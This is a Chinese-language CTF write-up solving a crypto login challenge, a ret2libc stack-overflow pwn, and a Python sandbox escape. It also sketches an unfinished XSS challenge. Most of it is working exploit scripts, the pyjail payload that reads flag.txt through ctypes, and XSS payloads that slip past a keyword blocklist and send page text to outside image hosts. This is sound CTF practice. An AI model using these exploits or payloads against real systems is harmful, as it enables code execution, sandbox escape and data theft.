CRYPTO

Dro4_Null5

题目:challenge.py

import os
from dotenv import load_dotenv
load_dotenv()
from Crypto.Cipher import AES
from Crypto.Hash import SHA256, HMAC
from Crypto.Protocol.KDF import HKDF

flag = os.environ.get("FLAG", "p_ctf{HIDDEN}")
BANNER = r"""                                                              
                                                                        
        ----------- dora - nulls - pctf -2026 --------------
"""
backpack = {
    "Administrator": "****************************************************************"
}

def show_map():
    print(BANNER)
    print("\n1. login")
    print("2. register")
    print("3. exit")
    return int(input("choose "))

def explore():

    challenge_hex = input("challenge (hex): ").strip()
    challenge = bytes.fromhex(challenge_hex)
    
    if len(challenge) != 8:
        print("invalid challenge length")
        return
    
    friend_name = input("username: ").strip()
    
    if not (6 < len(friend_name) < 20):
        print("invalid username length")
        return
    
    if friend_name not in backpack:
        print(f"user {friend_name} not found")
        return
    
    explorer_secret = backpack[friend_name].encode()
    
    server_token = os.urandom(8)
    print(f"server challenge: {server_token.hex()}")
    
    response_hex = input("response (hex): ").strip()
    response = bytes.fromhex(response_hex)
    
    if len(response) != 8:
        print("invalid response length")
        return
    
    navigation_key = HKDF(
        master=explorer_secret,
        key_len=16,
        salt=challenge + server_token,
        hashmod=SHA256
    )
    
    expected_path = compute_path(navigation_key, challenge)
    
    if verify_credential(navigation_key, expected_path, response):
        print(f"authentication successful: {friend_name}")
        if friend_name == "Administrator":
            print(f"flag: {flag}")
    else:
        print("authentication failed")

def add_friend():
    friend_name = input("username: ").strip()
    
    if not (6 < len(friend_name) < 20):
        print("invalid username length")
        return
    
    if friend_name in backpack:
        print("username already exists")
        return
    
    discovery_code = input("password hash (64 chars): ").strip()
    
    if len(discovery_code) != 64:
        print("invalid hash length")
        return
    
    backpack[friend_name] = discovery_code
    print("registration successful")

def compute_path(navigation_key, challenge):
    state = bytearray(16) + bytearray(challenge)
    tracker = AES.new(navigation_key, AES.MODE_ECB)
    
    for step in range(8):
        scan = tracker.encrypt(state[step:step + 16])
        state[16 + step] ^= scan[0]
    
    return bytes(state[-8:])

def verify_credential(session_key, expected, provided):
   
    h = HMAC.new(session_key, expected, SHA256)
    mask = h.digest()[:8]
    
    checksum = 0
    for i in range(8):
        checksum ^= expected[i] ^ provided[i] ^ mask[i]
    
    return checksum == 0

def main():
    for _ in range(0x1337):
        selection = show_map()
        if selection == 1:
            explore()
        elif selection == 2:
            add_friend()
        else:
            print("session terminated")
            return

if __name__ == "__main__":
    main()

这是一道基于挑战-响应的身份验证CTF题目。先看看获取flag的条件:

flag = os.environ.get("FLAG", "p_ctf{HIDDEN}")
...
def explore():
    ...
    if verify_credential(navigation_key, expected_path, response):
        print(f"authentication successful: {friend_name}")
        if friend_name == "Administrator":
            print(f"flag: {flag}")
    else:
        print("authentication failed")

代码从环境变量中读取的flag,只要成功鉴权Administrator,就会打印输出flag。这里继续跟进关键鉴权函数verify_credential:

def verify_credential(session_key, expected, provided):
   
    h = HMAC.new(session_key, expected, SHA256)
    mask = h.digest()[:8]
    
    checksum = 0
    for i in range(8):
        checksum ^= expected[i] ^ provided[i] ^ mask[i]
    
    return checksum == 0

verify_credential函数接收session_key、expected和provided,采用异或累加算法计算校验和来比对expected和provided,引入HMAC算法作为掩码。最后校验checksum == 0,概率是1/256,感觉直接爆破好像也可以。按流程我们先来看看session_key、expected和provided这三个参数有哪些我们是可以控制的。先看provided:

def explore():
    ...
    response_hex = input("response (hex): ").strip()
    response = bytes.fromhex(response_hex)
    
    if len(response) != 8:
        print("invalid response length")
        return
    ... 
    if verify_credential(navigation_key, expected_path, response):
        ...

看起来没什么特殊的要求,直接就是我们输入的response。接着看navigation_key:

def explore():
    challenge_hex = input("challenge (hex): ").strip()
    challenge = bytes.fromhex(challenge_hex)
    
    if len(challenge) != 8:
        print("invalid challenge length")
        return
    ... 
    explorer_secret = backpack[friend_name].encode()
    
    server_token = os.urandom(8)
    print(f"server challenge: {server_token.hex()}")
    ...
    navigation_key = HKDF(
        master=explorer_secret,
        key_len=16,
        salt=challenge + server_token,
        hashmod=SHA256
    )
    ...
    if verify_credential(navigation_key, expected_path, response):
        ...

navigation_key是由我们输入的challenge、待鉴权用户的explorer_secret和系统随机数server_token通过HKDF计算得来的,没什么破绽,暂时放一边。最后看expected_path:

def explore():
    challenge_hex = input("challenge (hex): ").strip()
    challenge = bytes.fromhex(challenge_hex)
    
    if len(challenge) != 8:
        print("invalid challenge length")
        return
    ...
    expected_path = compute_path(navigation_key, challenge)
    
    if verify_credential(navigation_key, expected_path, response):
        ...

expected_path是由我们输入的challenge和上面的navigation_key通过compute_path计算得到的。这里我们暂时判断navigation_key不可控。继续跟进函数compute_path:

def compute_path(navigation_key, challenge): # 选择明文攻击,输出是challenge的后8个字节
    state = bytearray(16) + bytearray(challenge)
    tracker = AES.new(navigation_key, AES.MODE_ECB)
    
    for step in range(8):
        scan = tracker.encrypt(state[step:step + 16])
        state[16 + step] ^= scan[0]
    
    return bytes(state[-8:])

compute_path函数透露着浓浓的问题感,函数最终返回值取的是state的最后8个字节。for循环里进行异或加密的是state的16-24个字节,也就是for循环加密了个空气,tracker都不用看了。state的最后8个字节又是challenge的最后8个字节。所以compute_path函数的最终结果,也就是expected_path的值其实就是challenge的最后8个字节,对于我们来说完全可控。

def verify_credential(session_key, expected, provided):
   
    h = HMAC.new(session_key, expected, SHA256)
    mask = h.digest()[:8]
    
    checksum = 0
    for i in range(8):
        checksum ^= expected[i] ^ provided[i] ^ mask[i]
    
    return checksum == 0

verify_credential需要的三个参数都分析完了,expected和provided完全可控,session_key完全不可控制。先试试保持expected和provided不变,对checksum进行掩码碰撞攻击。本地测试了一下几秒就碰撞出来了,直接上服务器,国外的服务器很卡,但是还是很快碰撞成功得到flag。碰撞脚本如下:

from pwn import remote, process

noFlag = True

while noFlag:
    try:

        p = remote("dora-nulls.ctf.prgy.in", 1337, ssl=True)
        p = process("./challenge.py")

        p.recvuntil(b"choose ")
        for i in range(0x1337):
            p.sendline(b"1")
            p.recvuntil(b"challenge (hex): ")
            p.sendline(b"0" * 16)
            p.recvuntil(b"username: ")
            p.sendline(b"Administrator")
            p.recvuntil(b"response (hex): ")
            p.sendline(b"0" * 16)
            res = p.recvuntil(b"choose ").decode()
            print(res, i)
            if "flag: " in res:
                noFlag = False
                break
    except KeyboardInterrupt:
        break
    except Exception as e:
        print(e)
        break

PWN

dirtyLaundry

题目有chal、libc.so.6和ld-2.35.so见附件。这里给出运行的交互输出、chesec和汇编:

$ LD_PRELOAD=./libc.so.6 ./ld-2.35.so ./chal
--- Laundromat v2.0 ---
The washing machine is running...
Add your laundry: adfadfadf
Laundry complete
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
.text:00000000004011BF                 public vuln
.text:00000000004011BF vuln            proc near               ; CODE XREF: main+22↓p
.text:00000000004011BF
.text:00000000004011BF buf             = byte ptr -40h
.text:00000000004011BF
.text:00000000004011BF ; __unwind {
.text:00000000004011BF                 push    rbp
.text:00000000004011C0                 mov     rbp, rsp
.text:00000000004011C3                 sub     rsp, 40h
.text:00000000004011C7                 lea     rax, aTheWashingMach ; "The washing machine is running..."
.text:00000000004011CE                 mov     rdi, rax        ; s
.text:00000000004011D1                 call    _puts
.text:00000000004011D6                 lea     rax, format     ; "Add your laundry: "
.text:00000000004011DD                 mov     rdi, rax        ; format
.text:00000000004011E0                 mov     eax, 0
.text:00000000004011E5                 call    _printf
.text:00000000004011EA                 lea     rax, [rbp+buf]
.text:00000000004011EE                 mov     edx, 100h       ; nbytes
.text:00000000004011F3                 mov     rsi, rax        ; buf
.text:00000000004011F6                 mov     edi, 0          ; fd
.text:00000000004011FB                 call    _read
.text:0000000000401200                 lea     rax, aLaundryComplet ; "Laundry complete"
.text:0000000000401207                 mov     rdi, rax        ; format
.text:000000000040120A                 mov     eax, 0
.text:000000000040120F                 call    _printf
.text:0000000000401214                 nop
.text:0000000000401215                 leave
.text:0000000000401216                 retn
.text:0000000000401216 ; } // starts at 4011BF
.text:0000000000401216 vuln            endp

从汇编代码buf = byte ptr -40h可以看出来buf字节数组的长度是0x40,根据mov edx, 100h可知read函数允许从标准输入读取的最大长度是0x100,read读取输入溢出了,由sub rsp, 40h判断栈大小为0x40,确认栈溢出,溢出0x100-0x40=192个字节,ret地址的偏移是0x40+8=72。题目提供了libc和ld文件,大概率就是ret2libc,看了一下chal里面的函数和字符串,没有任何意外,比我的裤兜还干净。

随便找个函数泄露一下地址,这里我选了puts函数,用objdump获取plt和got地址:

$ objdump -d chal | grep 'puts@plt'
0000000000401020 <puts@plt-0x10>:
0000000000401030 <puts@plt>:
  4011b7:       e8 74 fe ff ff          call   401030 <puts@plt>
  4011d1:       e8 5a fe ff ff          call   401030 <puts@plt>
  401234:       e8 f7 fd ff ff          call   401030 <puts@plt>

$ objdump -R ./chal | grep -E "puts"
0000000000404000 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5

puts函数的plt地址是0x401030,got地址是0x404000。plt地址是用来ret时调用的,got存放的是要泄露的puts的真实地址。现在还差一个pop rdi的小gadget,用ROPgadget命令找一下:

$ ROPgadget --binary ./chal | grep "pop rdi"
0x00000000004011a6 : cld ; pop rdi ; pop r14 ; ret
0x00000000004011a5 : jge 0x4011a3 ; pop rdi ; pop r14 ; ret
0x00000000004011a7 : pop rdi ; pop r14 ; ret

这里选pop rdi ; pop r14 ; ret地址是0x4011a7。注意,这个gadget使用的时候需要在后面多写入一个栈数据(pop r14)。接着构造能泄露puts真实地址的攻击脚本:

from pwn import remote, process, ELF, p64, log, u64

debug = False

libc_path = "./libc.so.6"



p = process(argv=["./ld-2.35.so", "./chal"], env={"LD_PRELOAD": libc_path}) if debug else remote(host="dirty-laundry.ctf.prgy.in", port=1337, ssl=True)

puts_plt = 0x000000000401030
puts_got = 0x000000000404000
pop_rdi_r14_ret = 0x00000000004011a7
ret_addr = 0x000000000040101a
vuln_addr = 0x0000000004011bf

payload = b"a" * 72
payload += p64(pop_rdi_r14_ret)
payload += p64(puts_got)
payload += b"a"*8 # pop r14
payload += p64(ret_addr)
payload += p64(puts_plt)
payload += p64(vuln_addr)
log.success(f"payload length: {len(payload)}")

p.sendlineafter(b"Add your laundry: ", payload)
p.recvuntil(b"Laundry complete")
leaked_puts = p.recvline()
puts_addr = u64(leaked_puts.strip().ljust(8, b'\x00'))

log.success(f"Leaked puts address: {hex(puts_addr)}")

其中,多出来了两个地址ret_addr和vuln_addr。首先,ret_addr是因为执行call puts_plt的使用检测到栈不平衡报错了,简单在puts_plt前加上一个ret_addr就可以了,贴上ret_addr的ROPgadget命令:

$ ROPgadget --binary ./chal | grep -E ": ret$"
0x000000000040101a : ret

vuln_addr则是为了泄露puts的真实地址后能继续利用,毕竟这个真实地址也就这次运行有效,所以不能结束,泄露出地址就要马上用,所以直接call回vuln函数就可以了,贴上vuln_addr的objdump命令:

$ objdump -D ./chal | grep "vuln"
00000000004011bf <vuln>:
  401239:       e8 81 ff ff ff          call   4011bf <vuln>

接着在脚本里新增libc基址、system函数和/bin/sh字符串的地址计算的代码:

libc = ELF(libc_path)

# puts_addr 是上一轮泄露出来的puts的真实地址

puts_offset = libc.functions['puts'].address
log.success(f"puts offset: {hex(puts_offset)}")

libc_base_addr = puts_addr - puts_offset
log.success(f"libc base addr: {hex(libc_base_addr)}")

system_offset = libc.functions['system'].address
log.success(f"system offset: {hex(system_offset)}")

system_addr = libc_base_addr + system_offset
log.success(f"system addr: {hex(system_addr)}")

bin_sh_offset = list(libc.search(b'/bin/sh'))[0]
log.success(f"/bin/sh offset: {hex(bin_sh_offset)}")

bin_sh_addr = libc_base_addr + bin_sh_offset
log.success(f"/bin/sh addr: {hex(bin_sh_addr)}")

接着继续构建第二轮溢出利用的脚本:

payload = b"a" * 72
payload += p64(pop_rdi_r14_ret)
payload += p64(bin_sh_addr)
payload += b"a"*8
payload += p64(ret_addr)
payload += p64(ret_addr)
payload += p64(system_addr)
log.success(f"payload length: {len(payload)}")

p.sendlineafter(b"Add your laundry: ", payload)

p.interactive()

这次为了保证栈平衡需要在ret system_addr前调用两次ret。最终完整利用脚本如下:

from pwn import remote, process, ELF, p64, log, u64

debug = False

libc_path = "./libc.so.6"

libc = ELF(libc_path)

p = process(argv=["./ld-2.35.so", "./chal"], env={"LD_PRELOAD": libc_path}) if debug else remote(host="dirty-laundry.ctf.prgy.in", port=1337, ssl=True)

puts_plt = 0x000000000401030
puts_got = 0x000000000404000
pop_rdi_r14_ret = 0x00000000004011a7
vuln_addr = 0x0000000004011bf
ret_addr = 0x000000000040101a

payload = b"a" * 72

payload += p64(pop_rdi_r14_ret)
payload += p64(puts_got)
payload += b"a"*8
payload += p64(ret_addr)
payload += p64(puts_plt)
payload += p64(vuln_addr)
log.success(f"payload length: {len(payload)}")

p.sendlineafter(b"Add your laundry: ", payload)
p.recvuntil(b"Laundry complete")
leaked_puts = p.recvline()
puts_addr = u64(leaked_puts.strip().ljust(8, b'\x00'))

log.success(f"Leaked puts address: {hex(puts_addr)}")

puts_offset = libc.functions['puts'].address
log.success(f"puts offset: {hex(puts_offset)}")

libc_base_addr = puts_addr - puts_offset
log.success(f"libc base addr: {hex(libc_base_addr)}")

system_offset = libc.functions['system'].address
log.success(f"system offset: {hex(system_offset)}")

system_addr = libc_base_addr + system_offset
log.success(f"system addr: {hex(system_addr)}")

bin_sh_offset = list(libc.search(b'/bin/sh'))[0]
log.success(f"/bin/sh offset: {hex(bin_sh_offset)}")

bin_sh_addr = libc_base_addr + bin_sh_offset
log.success(f"/bin/sh addr: {hex(bin_sh_addr)}")

payload = b"a" * 72
payload += p64(pop_rdi_r14_ret)
payload += p64(bin_sh_addr)
payload += b"a"*8
payload += p64(ret_addr)
payload += p64(ret_addr)
payload += p64(system_addr)
log.success(f"payload length: {len(payload)}")

p.sendlineafter(b"Add your laundry: ", payload)

p.interactive()

pCalc

题目:chal.py

#!/usr/bin/env python3
import ast
import sys
import os

def audit_hook(event, args):
    if event in ['os.system', 'os.popen', 'os.spawn', 'subprocess.Popen']:
        raise RuntimeError("Blocked Action Detected")
    
    if event == 'open' and isinstance(args[0], str) and 'flag' in args[0]:
        raise RuntimeError("Forbidden File Access")

sys.addaudithook(audit_hook)

class Calculator(ast.NodeVisitor):
    def __init__(self):
        self.is_valid = True

    def visit(self, node):
        if isinstance(node, (ast.Module, ast.Expr, ast.BinOp, ast.UnaryOp, 
                             ast.Constant, ast.Name, ast.Load, 
                             ast.operator, ast.unaryop)):
            super().visit(node)
        elif isinstance(node, ast.JoinedStr):
            pass
        else:
            print(f"Forbidden node type '{type(node).__name__}'")
            self.is_valid = False

def run_jail():
    print("Welcome to pCalc")
    print("+, -, *, and / are supported")
    
    user_input = input(">>> ")

    if "import" in user_input:
        print("'import' is a bad word.")
        return

    try:
        tree = ast.parse(user_input)
    except SyntaxError:
        print("Invalid Syntax")
        return

    validator = Calculator()
    validator.visit(tree)

    if not validator.is_valid:
        print("Expression rejected")
        return

    safe_globals = {"__builtins__": {}} 
    try:
        result = eval(user_input, safe_globals)
        print("本地测试输出", result) # 我增加的用于本地测试的代码
        if isinstance(result, (int, float, complex)):
            print(result)
        else:
            print("Error: Calculator only supports numbers.")
    except Exception as e:
        print(f"Runtime Error: {e}")

run_jail()

这是一道Python沙箱逃逸的CTF题。正常功能是一个计算器。分析代码列举出下面这些条件:

  • 输入不能包含import字符串。
  • eval执行的结果只能是int、float或complex类型才会输出。
  • eval执行报错会输出报错信息。
  • eval中globals什么都没有。
  • 语法树检查只允许Module、Expr、BinOp、UnaryOp、Constant、Name、Load、operator、unaryop和JoinedStr。
  • 函数调用审计不允许['os.system', 'os.popen', 'os.spawn', 'subprocess.Popen']这几个函数,同时event == 'open' and isinstance(args[0], str) and 'flag' in args[0]所有open函数不允许访问包含flag字样的文件。

首先,第一需要解决的问题是语法树检查:

class Calculator(ast.NodeVisitor):
    ...
    def visit(self, node):
        if isinstance(node, (ast.Module, ast.Expr, ast.BinOp, ast.UnaryOp, 
                             ast.Constant, ast.Name, ast.Load, 
                             ast.operator, ast.unaryop)):
            super().visit(node)
        elif isinstance(node, ast.JoinedStr):
            pass
        else:
            print(f"Forbidden node type '{type(node).__name__}'")
            self.is_valid = False

这里有一个很关键的地方,就是不检查ast.JoinedStr极其所有子节点。也就是字符串拼接相关的不检查,那是不是可以使用f-string的来进行绕过。测试脚本如下:

from pwn import remote, process

debug = True

p = process("chal.py") if debug else remote(host="pcalc.ctf.prgy.in", port=1337, ssl=True)
payload = b'''()''' # 正常情况下,无法通过语法树检查
payload = b'''f"{()}"''' # 通过语法树检查

p.sendlineafter(b">>> ", payload)
p.interactive()

其中,执行payload为b'''()''',无法通过语法树检查,提示Forbidden node type 'Tuple'。但是使用f-string包裹之后确可以正常输出。成功验证f-string可以用于绕过语法树检查。

接着需要解决eval中globals环境的问题。这个可以直接获取object基类再通过它的子类来获取需要的一些函数,如[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['print'],先通过object获取到一些object的子类,然后遍历找到_wrap_close,调用_wrap_close的__init__.__globals__就可以获取到部分globals。简单构建一个查看当前文件夹下面文件的payload:

from pwn import remote, process

debug = True

p = process("chal.py") if debug else remote(host="pcalc.ctf.prgy.in", port=1337, ssl=True)
payload = b'''f"{[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['print']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['listdir']())}"'''
p.sendlineafter(b">>> ", payload)
p.interactive()

运行获取服务器目录下的文件,成功得到flag的文件名(flag.txt):

$ uv run exp.py 
[+] Opening connection to pcalc.ctf.prgy.in on port 1337: Done
[*] Switching to interactive mode
['run', 'flag.txt']
Error: Calculator only supports numbers.

接着构建一个文件读取或者一个命令执行。这里我选择构建一个文件读取,观察函数调用黑名单代码:

...
def audit_hook(event, args):
    if event in ['os.system', 'os.popen', 'os.spawn', 'subprocess.Popen']:
        raise RuntimeError("Blocked Action Detected")
    
    if event == 'open' and isinstance(args[0], str) and 'flag' in args[0]:
        raise RuntimeError("Forbidden File Access")

sys.addaudithook(audit_hook)
...

这里我起初以为open只是禁用掉了io的open也就是__builtins__的open。我使用io.open配合io.read就可以绕过了,测试后发现还是被拦截了。这里审计调用过滤的python下的所有函数名为open的函数。紧接着我就开始尝试使用ctypes,去调用更底层的open函数去获取fd。构建的payload如下:

payload = b'''f"{[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['print']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['read']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['__imp'+'ort__']('ctypes').CDLL(None).open(b'flag.txt',0,0),512))}"'''

其中,import是直接采用字符串拼接的方式绕过检查['__imp'+'ort__']。成功读取flag.txt。最终完整脚本如下:

from pwn import remote, process

debug = False

p = process("chal.py") if debug else remote(host="pcalc.ctf.prgy.in", port=1337, ssl=True)
# payload = b'''()'''
# payload = b'''f"{()}"'''
# payload = b'''f"{[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['print']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['listdir']())}"'''
payload = b'''f"{[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['print']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['read']([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['__builtins__']['__imp'+'ort__']('ctypes').CDLL(None).open(b'flag.txt',0,0),512))}"'''
p.sendlineafter(b">>> ", payload)
p.interactive()

未完成题目的一些思考

Shadow Fight

关于xss绕过的思考:

起初我直接使用</script>标签进行xss注入的,注入位置是script位置如下:

  <script>
    const name = "admin";
    const avatar = "https://picsum.photos/1";window.find('ctf');document.execCommand("SelectAll");const a=document.createElement("img");a.src=`https://xss.com/1.jpg?a=${document.getSelection().toString()}`;document.querySelector('.card').appendChild(a);</script><script>"";
    const nameIsValid = name && validateName(name);
    const avatarIsValid = avatar && validateAvatar(avatar);
    const c = document.getElementById('profile-container');

    if (nameIsValid && avatarIsValid) {
      const avatarEl = document.createElement('img');
      avatarEl.src = avatar;
      c.appendChild(avatarEl);

      const nameEl = document.createElement('div');
      nameEl.innerHTML = name;
      c.appendChild(nameEl);

      const reviewSubmitBtn = document.createElement('button');
      reviewSubmitBtn.id = 'review-submit-btn';
      reviewSubmitBtn.type = 'button';
      reviewSubmitBtn.textContent = 'Submit for Review';
      c.appendChild(reviewSubmitBtn);

      const tipEl = document.createElement('div');
      tipEl.innerHTML = '<small class="info"> <strong>Tip:</strong> Submit your profile for admin review ONLY when you are sure. Dont spam submit </small>';
      c.appendChild(tipEl);

      reviewSubmitBtn.addEventListener('click', async (e) => {
        e.preventDefault();
        const params = new URLSearchParams(window.location.search);

        const response = await fetch('/review?' + params.toString(), {
          method: 'POST'
        });

        const result = await response.text();
        alert(result);
      });
    } else {
      c.innerHTML += '<small>Please fill in all required fields</small>'
    }
  </script>

后面测试多了之后发现好像不行了,于是又换了下面的注入方式:

const name = "<svg/onload=eval(`'${avatar}`)>";
const avatar = "https://picsum.photos/100/100';eval(`const w=${'w'}indow;w.find('ctf');const d=${'d'}ocument;d.execCommand('SelectAll');const a=d.createElement('img');a.src='https://fangpengchi.com/assets/frappe/images/frappe-favicon.svg?a='+${'b'}toa(w.getSelection().toString());c.appendChild(a);`);";

其中name和avatar是全局对象,所以可以在其他元素的javascript中直接使用。然后需要利用`绕过白名单检查:

function validateName(input) {
  if (typeof input !== 'string') return false;

  // max 50 char username
  if (input.length < 2 || input.length > 50) return false;

  return isSafe(input);
}

function validateAvatar(input) {
  if (typeof input !== 'string') return false;
  if (!input.startsWith('https://')) return false;

  // TODO: add file upload feature and whitelist my cdn endpoint
  const allowedDomains = [
    'picsum.photos',
    'imgur.com',
    'i.imgur.com',
    'unsplash.com',
    'pexels.com',
  ];

  try {
    const url = new URL(input);
    if (!allowedDomains.includes(url.hostname)) return false;
  } catch {
    return false;
  }

  return isSafe(input);
}

function isSafe(input) {
  const blockedWords = [
    "\"", // prevent attribute escape
    '\n',
    '\r',
    'fetch',
    'XMLHttpRequest',
    'navigator',
    'sendBeacon',
    'postMessage',
    'location',
    'document',
    'window',
    'Function',
    'constructor',
    'import',
    '__proto__',
    'prototype',
    'escape',
    'from',
    'char',
    'atob',
    'btoa'
  ];

  const lowerInput = input.toLowerCase();
  for (const word of blockedWords) {
    if (lowerInput.includes(word.toLowerCase())) return false;
  }

  // other validations
  if (/%0a|%0d/i.test(input)) return false; // Block URL encoded stuff
  if (/\\x[\da-f]{2}/i.test(input)) return false; // Hex escapes

  return true
}

包括后面的Shadow Fight 2都可以绕过,xss成功注入后开始尝试访问shadow dom中的flag,我采用window.find+document.execCommand('copy')+window.getSelection().toString()的方式去读取flag,我本地测试是没有问题的,远程经过多次尝试后(期间还发现服务器是有url缓存的,就是重复提交同一个url是不会触发review)终于获取到flag了,但是还是假的flag。最后猜想应该是需要在admin review的时候去提交一个admin的review请求,让admin去review自己的profile才能获取到flag,但是我的window.find+document.execCommand('copy')+window.getSelection().toString()读取flag的概率太低了别说套多一层review了,感觉希望渺茫,开始寻找更稳定的shadow dom读取方式。

题外话

时隔多年,离职在家,今天突然想起大学打CTF的日子,小小尝试了一下,感觉还是生疏了很多。